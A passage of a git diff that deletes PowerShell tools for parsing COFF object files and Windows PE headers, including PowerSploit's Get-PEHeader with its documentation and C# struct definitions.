this.NameArray = br.ReadBytes(8); - - if (this.NameArray[0] == 0 && this.NameArray[1] == 0 &&this.NameArray[2] == 0 &&this.NameArray[3] == 0) - { - // Per specification, if the high DWORD is 0, then then low DWORD is an index into the string table - this.Name = "/" + BitConverter.ToInt32(NameArray, 4).ToString(); - } - else - { - this.Name = Encoding.UTF8.GetString(NameArray).Trim(((char) 0)); - } - - this.Value = br.ReadUInt32(); - this.SectionNumber = (SectionNumber) br.ReadInt16(); - this.Type = (TypeClass) br.ReadInt16(); - if ((((int) this.Type) & 0xff00) == 0) { this.Type = (TypeClass) Enum.Parse(typeof(TypeClass), ((int) this.Type | 0x400).ToString());} - this.StorageClass = (StorageClass) br.ReadByte(); - this.NumberOfAuxSymbols = br.ReadByte(); - } - } - - public class SECTION_DEFINITION - { - public uint Length; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public uint CheckSum; - public ushort Number; - public byte Selection; - - public SECTION_DEFINITION(BinaryReader br) - { - this.Length = br.ReadUInt32(); - this.NumberOfRelocations = br.ReadUInt16(); - this.NumberOfLinenumbers = br.ReadUInt16(); - this.CheckSum = br.ReadUInt32(); - this.Number = br.ReadUInt16(); - this.Selection = br.ReadByte(); - br.ReadBytes(3); - } - } - } -'@ - - Add-Type -TypeDefinition $Code - - function Dispose-Objects - { - $BinaryReader.Dispose() - $FileStream.Dispose() - } - } - - PROCESS - { - foreach ($File in $Path) { - - # Resolve the absolute path of the object file. [IO.File]::OpenRead requires an absolute path. - $ObjFilePath = Resolve-Path $File - - # Pull out just the file name - $ObjFileName = Split-Path $ObjFilePath -Leaf - - # Fixed structure sizes - $SizeofCOFFFileHeader = 20 - $SizeofSectionHeader = 40 - $SizeofSymbolTableEntry = 18 - $SizeofRelocationEntry = 10 - - # Open the object file for reading - $FileStream = [IO.File]::OpenRead($ObjFilePath) - - $FileLength = $FileStream.Length - - if ($FileLength -lt $SizeofCOFFFileHeader) - { - # You cannot parse the COFF header if the file is not big enough to contain a COFF header. - Write-Error "$($ObjFileName) is too small to store a COFF header." - Dispose-Objects - return - } - - # Open a BinaryReader object for the object file - $BinaryReader = New-Object IO.BinaryReader($FileStream) - - # Parse the COFF header - $CoffHeader = New-Object COFF.HEADER($BinaryReader) - - if ($CoffHeader.SizeOfOptionalHeader -ne 0) - { - # Per the PECOFF specification, an object file does not have an optional header - Write-Error "Coff header indicates the existence of an optional header. An object file cannot have an optional header." - Dispose-Objects - return - } - - if ($CoffHeader.PointerToSymbolTable -eq 0) - { - Write-Error 'An object file is supposed to have a symbol table.' - Dispose-Objects - return - } - - if ($FileLength -lt (($CoffHeader.NumberOfSections * $SizeofSectionHeader) + $SizeofCOFFFileHeader)) - { - # The object file isn't big enough to store the number of sections present. - Write-Error "$($ObjFileName) is too small to store section header data." - Dispose-Objects - return - } - - # A string collection used to store section header names. This collection is referenced while - # parsing the symbol table entries whose name is the same as the section header. In this case, - # the symbol entry will have a particular auxiliary symbol table entry. - $SectionHeaderNames = New-Object Collections.Specialized.StringCollection - - # Correlate the processor type to the relocation type. There are more relocation type defined - # in the PECOFF specification, but I don't expect those to be present. In that case, relocation - # entries default to X86RelocationType. - $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) - $MachineTypes = @{ [COFF.Machine]::I386 = [COFF.X86RelocationType] - [COFF.Machine]::AMD64 = [COFF.AMD64RelocationType] - [COFF.Machine]::ARMV7 = [COFF.ARMRelocationType] - [COFF.Machine]::ARM64 = [COFF.ARMv8RelocationType] } - - # Parse section headers - for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) - { - $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) - - # Add the section name to the string collection. This will be referenced during symbol table parsing. - $SectionHeaderNames.Add($SectionHeaders[$i].Name) | Out-Null - - # Save the current filestream position. We are about to jump out of place. - $SavedFilePosition = $FileStream.Position - - # Check to see if the raw data points beyond the actual file size - if (($SectionHeaders[$i].PointerToRawData + $SectionHeaders[$i].SizeOfRawData) -gt $FileLength) - { - Write-Error "$($SectionHeaders[$i].Name) section header's raw data exceeds the size of the object file." - return - } - else - { - # Read the raw data into a byte array - $FileStream.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null - $SectionHeaders[$i].RawData = $BinaryReader.ReadBytes($SectionHeaders[$i].SizeOfRawData) - } - - # Check to see if the section has a relocation table - if ($SectionHeaders[$i].PointerToRelocations -and $SectionHeaders[$i].NumberOfRelocations) - { - # Check to see if the relocation entries point beyond the actual file size - if (($SectionHeaders[$i].PointerToRelocations + ($SizeofRelocationEntry * $SectionHeaders[$i].NumberOfRelocations)) -gt $FileLength) - { - Write-Error "$($SectionHeaders[$i].Name) section header's relocation entries exceeds the soze of the object file." - return - } - - $FileStream.Seek($SectionHeaders[$i].PointerToRelocations, 'Begin') | Out-Null - - $Relocations = New-Object COFF.RelocationEntry[]($SectionHeaders[$i].NumberOfRelocations) - - for ($j = 0; $j -lt $SectionHeaders[$i].NumberOfRelocations; $j++) - { - $Relocations[$j] = New-Object COFF.RelocationEntry($BinaryReader) - # Cast the relocation as its respective type - $Relocations[$j].Type = ($Relocations[$j].Type.value__ -as $MachineTypes[$CoffHeader.Machine]) - } - - # Add the relocation table entry to the section header - $SectionHeaders[$i].Relocations = $Relocations - } - - # Restore the original filestream pointer - $FileStream.Seek($SavedFilePosition, 'Begin') | Out-Null - } - - # Retrieve the contents of the COFF string table - $SymTableSize = $CoffHeader.NumberOfSymbols * $SizeofSymbolTableEntry - $StringTableOffset = $CoffHeader.PointerToSymbolTable + $SymTableSize - - if ($StringTableOffset -gt $FileLength) - { - Write-Error 'The string table points beyond the end of the file.' - Dispose-Objects - return - } - - $FileStream.Seek($StringTableOffset, 'Begin') | Out-Null - $StringTableLength = $BinaryReader.ReadUInt32() - - if ($StringTableLength -gt $FileLength) - { - Write-Error "The string table's length exceeds the length of the file." - Dispose-Objects - return - } - - $StringTable = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($StringTableLength)) - - $RawSymbolTable = New-Object COFF.SYMBOL_TABLE[]($CoffHeader.NumberOfSymbols) - - # Retrieve the symbol table - if ($FileLength -lt $StringTableOffset) - { - "Symbol table is larger than the file size." - return - } - - $FileStream.Seek($CoffHeader.PointerToSymbolTable, 'Begin') | Out-Null - $NumberofRegularSymbols = 0 - - <# - Go through each symbol table looking for auxiliary symbols to parse - - Currently supported auxiliary symbol table entry formats: - 1) .file - 2) Entry names that match the name of a section header - #> - for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) - { - # Parse the symbol tables regardless of whether they are normal or auxiliary symbols - $RawSymbolTable[$i] = New-Object COFF.SYMBOL_TABLE($BinaryReader) - - if ($RawSymbolTable[$i].NumberOfAuxSymbols -eq 0) - { - # This symbol table entry has no auxiliary symbols - $NumberofRegularSymbols++ - } - elseif ($RawSymbolTable[$i].Name -eq '.file') - { - $TempPosition = $FileStream.Position # Save filestream position - # Retrieve the file name - $RawSymbolTable[$i].AuxSymbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($RawSymbolTable[$i].NumberOfAuxSymbols * $SizeofSymbolTableEntry)).TrimEnd(([Char] 0)) - $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position - } - elseif ($SectionHeaderNames.Contains($RawSymbolTable[$i].Name)) - { - $TempPosition = $FileStream.Position # Save filestream position - $RawSymbolTable[$i].AuxSymbols = New-Object COFF.SECTION_DEFINITION($BinaryReader) - $FileStream.Seek($TempPosition, 'Begin') | Out-Null # Restore filestream position - } - } - - # Create an array of symbol table entries without auxiliary table entries - $SymbolTable = New-Object COFF.SYMBOL_TABLE[]($NumberofRegularSymbols) - $j = 0 - - for ($i = 0; $i -lt $CoffHeader.NumberOfSymbols; $i++) - { - $SymbolTable[$j] = $RawSymbolTable[$i] # FYI, the first symbol table entry will never be an aux symbol - $j++ - - # Skip over the auxiliary symbols - if ($RawSymbolTable[$i].NumberOfAuxSymbols -ne 0) - { - $i += $RawSymbolTable[$i].NumberOfAuxSymbols - } - } - - # Dispose the binaryreader and filestream objects - Dispose-Objects - - # Fix the section names if any of them point to the COFF string table - for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) - { - if ($SectionHeaders[$i].Name.IndexOf('/') -eq 0) - { - $StringTableIndex = $SectionHeaders[$i].Name.SubString(1) - - if ($StringTableIndex -match '^[1-9][0-9]*$') - { - $StringTableIndex = ([Int] $StringTableIndex) - 4 - - if ($StringTableIndex -gt ($StringTableLength + 4)) - { - Write-Error 'String table entry exceeds the bounds of the object file.' - } - - $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $SectionHeaders[$i].Name = $StringTable.Substring($StringTableIndex, $Length) - } - } - } - - # Fix the symbol table names - for ($i = 0; $i -lt $SymbolTable.Length; $i++) - { - if ($SymbolTable[$i].Name.IndexOf('/') -eq 0) - { - $StringTableIndex = $SymbolTable[$i].Name.SubString(1) - - if ($StringTableIndex -match '^[1-9][0-9]*$') - { - $StringTableIndex = ([Int] $StringTableIndex) - 4 - $Length = $StringTable.IndexOf(([Char] 0), $StringTableIndex) - $StringTableIndex - $SymbolTable[$i].Name = $StringTable.Substring($StringTableIndex, $Length) - } - } - } - - # Apply symbol names to the relocation entries - $SectionHeaders | Where-Object { $_.Relocations } | % { - $_.Relocations | % { $_.Name = $RawSymbolTable[$_.SymbolTableIndex].Name } - } - - $Result = @{ - COFFHeader = $CoffHeader - SectionHeaders = $SectionHeaders - SymbolTable = $SymbolTable - } - - $ParsedObjectFile = New-Object PSObject -Property $Result - $ParsedObjectFile.PSObject.TypeNames[0] = 'COFF.OBJECT_FILE' - Write-Output $ParsedObjectFile - - } - } - - END {} -} \ No newline at end of file diff --git a/PETools/Get-PEHeader.ps1 b/PETools/Get-PEHeader.ps1 deleted file mode 100644 index 2f35292b..00000000 --- a/PETools/Get-PEHeader.ps1 +++ /dev/null @@ -1,960 +0,0 @@ -function Get-PEHeader -{ -<# -.SYNOPSIS - -Parses and outputs the PE header of a process in memory or a PE file on disk. - -PowerSploit Function: Get-PEHeader -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: PETools.format.ps1xml - -.DESCRIPTION - -Get-PEHeader retrieves PE headers including imports and exports from either a file on disk or a module in memory. Get-PEHeader will operate on single PE header but you can also feed it the output of Get-ChildItem or Get-Process! Get-PEHeader works on both 32 and 64-bit modules. - -.PARAMETER FilePath - -Specifies the path to the portable executable file on disk - -.PARAMETER ProcessID - -Specifies the process ID. - -.PARAMETER Module - -The name of the module. This parameter is typically only used in pipeline expressions - -.PARAMETER ModuleBaseAddress - -The base address of the module - -.PARAMETER GetSectionData - -Retrieves raw section data. - -.OUTPUTS - -System.Object - -Returns a custom object consisting of the following: compile time, section headers, module name, DOS header, imports, exports, file header, optional header, and PE signature. - -.EXAMPLE - -C:\PS> Get-Process cmd | Get-PEHeader - -Description ------------ -Returns the full PE headers of every loaded module in memory - -.EXAMPLE - -C:\PS> Get-ChildItem C:\Windows\*.exe | Get-PEHeader - -Description ------------ -Returns the full PE headers of every exe in C:\Windows\ - -.EXAMPLE - -C:\PS> Get-PEHeader C:\Windows\System32\kernel32.dll - -Module : C:\Windows\System32\kernel32.dll -DOSHeader : PE+_IMAGE_DOS_HEADER -FileHeader : PE+_IMAGE_FILE_HEADER -OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32 -SectionHeaders : {.text, .data, .rsrc, .reloc} -Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0. - dll; VA=0x000CB630}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS - -Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB63C}, @{Ordinal=; FunctionName=RtlCaptu - reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x000CB650} - , @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x000CB66C}...} -Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x0F022708}, @{Forwar - dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x0F026A23}, @{ForwardedName=; - FunctionName=lstrlen; Ordinal=0x0550; VA=0x0F026A23}, @{ForwardedName=; FunctionN - ame=lstrcpynW; Ordinal=0x054F; VA=0x0F04E54E}...} - -.EXAMPLE - -C:\PS> $Proc = Get-Process cmd -C:\PS> $Kernel32Base = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'kernel32.dll'}).BaseAddress -C:\PS> Get-PEHeader -ProcessId $Proc.Id -ModuleBaseAddress $Kernel32Base - -Module : -DOSHeader : PE+_IMAGE_DOS_HEADER -FileHeader : PE+_IMAGE_FILE_HEADER -OptionalHeader : PE+_IMAGE_OPTIONAL_HEADER32 -SectionHeaders : {.text, .data, .rsrc, .reloc} -Imports : {@{Ordinal=; FunctionName=RtlUnwind; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0. - dll; VA=0x77B8B6D9}, @{Ordinal=; FunctionName=RtlCaptureContext; ModuleName=API-MS - -Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B8B4CB}, @{Ordinal=; FunctionName=RtlCaptu - reStackBackTrace; ModuleName=API-MS-Win-Core-RtlSupport-L1-1-0.dll; VA=0x77B95277} - , @{Ordinal=; FunctionName=NtCreateEvent; ModuleName=ntdll.dll; VA=0x77B4FF54}...} -Exports : {@{ForwardedName=; FunctionName=lstrlenW; Ordinal=0x0552; VA=0x08221720}, @{Forwar - dedName=; FunctionName=lstrlenA; Ordinal=0x0551; VA=0x08225A3B}, @{ForwardedName=; - FunctionName=lstrlen; Ordinal=0x0550; VA=0x08225A3B}, @{ForwardedName=; FunctionN - ame=lstrcpynW; Ordinal=0x054F; VA=0x0824D566}...} - -Description ------------ -A PE header is returned upon providing the module's base address. This technique would be useful for dumping the PE header of a rogue module that is invisible to Windows - e.g. a reflectively loaded meterpreter binary (metsrv.dll). - -.NOTES - -Be careful if you decide to specify a module base address. Get-PEHeader does not check for the existence of an MZ header. An MZ header is not a prerequisite for reflectively loading a module in memory. If you provide an address that is not an actual PE header, you could crash the process. - -.LINK - -http://www.exploit-monday.com/2012/07/get-peheader.html -#> - - [CmdletBinding(DefaultParameterSetName = 'OnDisk')] Param ( - [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'OnDisk', ValueFromPipelineByPropertyName = $True)] [Alias('FullName')] [String[]] $FilePath, - [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('Id')] [Int] $ProcessID, - [Parameter(Position = 2, ParameterSetName = 'InMemory', ValueFromPipelineByPropertyName = $True)] [Alias('MainModule')] [Alias('Modules')] [System.Diagnostics.ProcessModule[]] $Module, - [Parameter(Position = 1, ParameterSetName = 'InMemory')] [IntPtr] $ModuleBaseAddress, - [Parameter()] [Switch] $GetSectionData - ) - -PROCESS { - - switch ($PsCmdlet.ParameterSetName) { - 'OnDisk' { - - if ($FilePath.Length -gt 1) { - foreach ($Path in $FilePath) { Get-PEHeader $Path } - } - - if (!(Test-Path $FilePath)) { - Write-Warning 'Invalid path or file does not exist.' - return - } - - $FilePath = Resolve-Path $FilePath - - if ($FilePath.GetType() -eq [System.Array]) { - $ModuleName = $FilePath[0] - } else { - $ModuleName = $FilePath - } - - } - 'InMemory' { - - if ($Module.Length -gt 1) { - foreach ($Mod in $Module) { - $BaseAddr = $Mod.BaseAddress - Get-PEHeader -ProcessID $ProcessID -Module $Mod -ModuleBaseAddress $BaseAddr - } - } - - if (-not $ModuleBaseAddress) { return } - - if ($ProcessID -eq $PID) { - Write-Warning 'You cannot parse the PE header of the current process. Open another instance of PowerShell.' - return - } - - if ($Module) { - $ModuleName = $Module[0].FileName - } else { - $ModuleName = '' - } - - } - } - - try { [PE] | Out-Null } catch [Management.Automation.RuntimeException] - { - $code = @" - using System; - using System.Runtime.InteropServices; - - public class PE - { - [Flags] - public enum IMAGE_DOS_SIGNATURE : ushort - { - DOS_SIGNATURE = 0x5A4D, // MZ - OS2_SIGNATURE = 0x454E, // NE - OS2_SIGNATURE_LE = 0x454C, // LE - VXD_SIGNATURE = 0x454C, // LE - } - - [Flags] - public enum IMAGE_NT_SIGNATURE : uint - { - VALID_PE_SIGNATURE = 0x00004550 // PE00 - } - - [Flags] - public enum IMAGE_FILE_MACHINE : ushort - { - UNKNOWN = 0, - I386 = 0x014c, // Intel 386. - R3000 = 0x0162, // MIPS little-endian =0x160 big-endian - R4000 = 0x0166, // MIPS little-endian - R10000 = 0x0168, // MIPS little-endian - WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2 - ALPHA = 0x0184, // Alpha_AXP - SH3 = 0x01a2, // SH3 little-endian - SH3DSP = 0x01a3, - SH3E = 0x01a4, // SH3E little-endian - SH4 = 0x01a6, // SH4 little-endian - SH5 = 0x01a8, // SH5 - ARM = 0x01c0, // ARM Little-Endian - THUMB = 0x01c2, - ARMNT = 0x01c4, // ARM Thumb-2 Little-Endian - AM33 = 0x01d3, - POWERPC = 0x01F0, // IBM PowerPC Little-Endian - POWERPCFP = 0x01f1, - IA64 = 0x0200, // Intel 64 - MIPS16 = 0x0266, // MIPS - ALPHA64 = 0x0284, // ALPHA64 - MIPSFPU = 0x0366, // MIPS - MIPSFPU16 = 0x0466, // MIPS - AXP64 = ALPHA64, - TRICORE = 0x0520, // Infineon - CEF = 0x0CEF, - EBC = 0x0EBC, // EFI public byte Code - AMD64 = 0x8664, // AMD64 (K8) - M32R = 0x9041, // M32R little-endian - CEE = 0xC0EE - } - - [Flags] - public enum IMAGE_FILE_CHARACTERISTICS : ushort - { - IMAGE_RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file. - IMAGE_EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references). - IMAGE_LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file. - IMAGE_LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file. - IMAGE_AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set - IMAGE_LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses - IMAGE_REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed. - IMAGE_32BIT_MACHINE = 0x0100, // 32 bit public ushort machine. - IMAGE_DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file - IMAGE_REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file. - IMAGE_NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file. - IMAGE_SYSTEM = 0x1000, // System File. - IMAGE_DLL = 0x2000, // File is a DLL. - IMAGE_UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine - IMAGE_REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed. - } - - [Flags] - public enum IMAGE_NT_OPTIONAL_HDR_MAGIC : ushort - { - PE32 = 0x10b, - PE64 = 0x20b - } - - [Flags] - public enum IMAGE_SUBSYSTEM : ushort - { - UNKNOWN = 0, // Unknown subsystem. - NATIVE = 1, // Image doesn't require a subsystem. - WINDOWS_GUI = 2, // Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3, // Image runs in the Windows character subsystem. - OS2_CUI = 5, // image runs in the OS/2 character subsystem. - POSIX_CUI = 7, // image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8, // image is a native Win9x driver. - WINDOWS_CE_GUI = 9, // Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10, - EFI_BOOT_SERVICE_DRIVER = 11, - EFI_RUNTIME_DRIVER = 12, - EFI_ROM = 13, - XBOX = 14, - WINDOWS_BOOT_APPLICATION = 16 - } - - [Flags] - public enum IMAGE_DLLCHARACTERISTICS : ushort - { - DYNAMIC_BASE = 0x0040, // DLL can move. - FORCE_INTEGRITY = 0x0080, // Code Integrity Image - NX_COMPAT = 0x0100, // Image is NX compatible - NO_ISOLATION = 0x0200, // Image understands isolation and doesn't want it - NO_SEH = 0x0400, // Image does not use SEH. No SE handler may reside in this image - NO_BIND = 0x0800, // Do not bind this image. - WDM_DRIVER = 0x2000, // Driver uses WDM model - TERMINAL_SERVER_AWARE = 0x8000 - } - - [Flags] - public enum IMAGE_SCN : uint - { - TYPE_NO_PAD = 0x00000008, // Reserved. - CNT_CODE = 0x00000020, // Section contains code. - CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data. - CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data. - LNK_INFO = 0x00000200, // Section contains comments or some other type of information. - LNK_REMOVE = 0x00000800, // Section contents will not become part of image. - LNK_COMDAT = 0x00001000, // Section contents comdat. - NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section. - GPREL = 0x00008000, // Section content can be accessed relative to GP - MEM_FARDATA = 0x00008000, - MEM_PURGEABLE = 0x00020000, - MEM_16BIT = 0x00020000, - MEM_LOCKED = 0x00040000, - MEM_PRELOAD = 0x00080000, - ALIGN_1BYTES = 0x00100000, - ALIGN_2BYTES = 0x00200000, - ALIGN_4BYTES = 0x00300000, - ALIGN_8BYTES = 0x00400000, - ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified. - ALIGN_32BYTES = 0x00600000, - ALIGN_64BYTES = 0x00700000, - ALIGN_128BYTES = 0x00800000, - ALIGN_256BYTES = 0x00900000, - ALIGN_512BYTES = 0x00A00000, - ALIGN_1024BYTES = 0x00B00000, - ALIGN_2048BYTES = 0x00C00000, - ALIGN_4096BYTES = 0x00D00000, - ALIGN_8192BYTES = 0x00E00000, - ALIGN_MASK = 0x00F00000, - LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. - MEM_DISCARDABLE = 0x02000000, // Section can be discarded. - MEM_NOT_CACHED = 0x04000000, // Section is not cachable. - MEM_NOT_PAGED = 0x08000000, // Section is not pageable. - MEM_SHARED = 0x10000000, // Section is shareable. - MEM_EXECUTE = 0x20000000, // Section is executable. - MEM_READ = 0x40000000, // Section is readable. - MEM_WRITE = 0x80000000 // Section is writeable. - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_DOS_HEADER - { - public IMAGE_DOS_SIGNATURE e_magic; // Magic number - public ushort e_cblp; // public bytes on last page of file - public ushort e_cp; // Pages in file - public ushort e_crlc; // Relocations - public ushort e_cparhdr; // Size of header in paragraphs - public ushort e_minalloc; // Minimum extra paragraphs needed - public ushort e_maxalloc; // Maximum extra paragraphs needed - public ushort e_ss; // Initial (relative) SS value - public ushort e_sp; // Initial SP value - public ushort e_csum; // Checksum - public ushort e_ip; // Initial IP value - public ushort e_cs; // Initial (relative) CS value - public ushort e_lfarlc; // File address of relocation table - public ushort e_ovno; // Overlay number - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] - public string e_res; // This will contain 'Detours!' if patched in memory - public ushort e_oemid; // OEM identifier (for e_oeminfo) - public ushort e_oeminfo; // OEM information; e_oemid specific - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=10)] // , ArraySubType=UnmanagedType.U4 - public ushort[] e_res2; // Reserved public ushorts - public int e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_FILE_HEADER - { - public IMAGE_FILE_MACHINE Machine; - public ushort NumberOfSections; - public uint TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public IMAGE_FILE_CHARACTERISTICS Characteristics; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_NT_HEADERS32 - { - public IMAGE_NT_SIGNATURE Signature; - public _IMAGE_FILE_HEADER FileHeader; - public _IMAGE_OPTIONAL_HEADER32 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_NT_HEADERS64 - { - public IMAGE_NT_SIGNATURE Signature; - public _IMAGE_FILE_HEADER FileHeader; - public _IMAGE_OPTIONAL_HEADER64 OptionalHeader; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_OPTIONAL_HEADER32 - { - public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public uint BaseOfData; - public uint ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public IMAGE_SUBSYSTEM Subsystem; - public IMAGE_DLLCHARACTERISTICS DllCharacteristics; - public uint SizeOfStackReserve; - public uint SizeOfStackCommit; - public uint SizeOfHeapReserve; - public uint SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)] - public _IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_OPTIONAL_HEADER64 - { - public IMAGE_NT_OPTIONAL_HDR_MAGIC Magic; - public byte MajorLinkerVersion; - public byte MinorLinkerVersion; - public uint SizeOfCode; - public uint SizeOfInitializedData; - public uint SizeOfUninitializedData; - public uint AddressOfEntryPoint; - public uint BaseOfCode; - public ulong ImageBase; - public uint SectionAlignment; - public uint FileAlignment; - public ushort MajorOperatingSystemVersion; - public ushort MinorOperatingSystemVersion; - public ushort MajorImageVersion; - public ushort MinorImageVersion; - public ushort MajorSubsystemVersion; - public ushort MinorSubsystemVersion; - public uint Win32VersionValue; - public uint SizeOfImage; - public uint SizeOfHeaders; - public uint CheckSum; - public IMAGE_SUBSYSTEM Subsystem; - public IMAGE_DLLCHARACTERISTICS DllCharacteristics; - public ulong SizeOfStackReserve; - public ulong SizeOfStackCommit; - public ulong SizeOfHeapReserve; - public ulong SizeOfHeapCommit; - public uint LoaderFlags; - public uint NumberOfRvaAndSizes; - [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst=16)] - public _IMAGE_DATA_DIRECTORY[] DataDirectory; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_DATA_DIRECTORY - { - public uint VirtualAddress; - public uint Size; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_EXPORT_DIRECTORY - { - public uint Characteristics; - public uint TimeDateStamp; - public ushort MajorVersion; - public ushort MinorVersion; - public uint Name; - public uint Base; - public uint NumberOfFunctions; - public uint NumberOfNames; - public uint AddressOfFunctions; // RVA from base of image - public uint AddressOfNames; // RVA from base of image - public uint AddressOfNameOrdinals; // RVA from base of image - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_SECTION_HEADER - { - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] - public string Name; - public uint VirtualSize; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public IMAGE_SCN Characteristics; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - public uint TimeDateStamp; // 0 if not bound, - // -1 if bound, and real date/time stamp - // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - // O.W. date/time stamp of DLL bound to (Old BIND) - public uint ForwarderChain; // -1 if no forwarders - public uint Name; - public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_THUNK_DATA32 - { - public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_THUNK_DATA64 - { - public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_IMPORT_BY_NAME - { - public ushort Hint; - public char Name; - } - } -"@ - - $compileParams = New-Object System.CodeDom.Compiler.CompilerParameters - $compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll')) - $compileParams.GenerateInMemory = $True - Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null - } - - function Get-DelegateType - { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, - [Parameter(Position = 1)] [Type] $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = 